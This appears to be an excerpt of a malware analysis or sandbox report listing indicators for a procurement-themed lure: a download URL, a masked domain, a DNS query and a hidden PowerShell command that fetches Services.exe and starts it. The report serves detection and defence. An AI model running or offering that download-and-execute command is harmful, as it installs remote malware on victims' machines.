Technical Information
- http://sales1.azzamcoprocurements.org/services.exe as rfq-#2067.exe
- 'sa####.##zamcoprocurements.org':80
- http://sa####.##zamcoprocurements.org/Services.exe
- DNS ASK sa####.##zamcoprocurements.org
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('http://sales1.azzamcoprocurements.org/Services.exe','RFQ-#2067.exe');Start-Proces...' (with hidden window)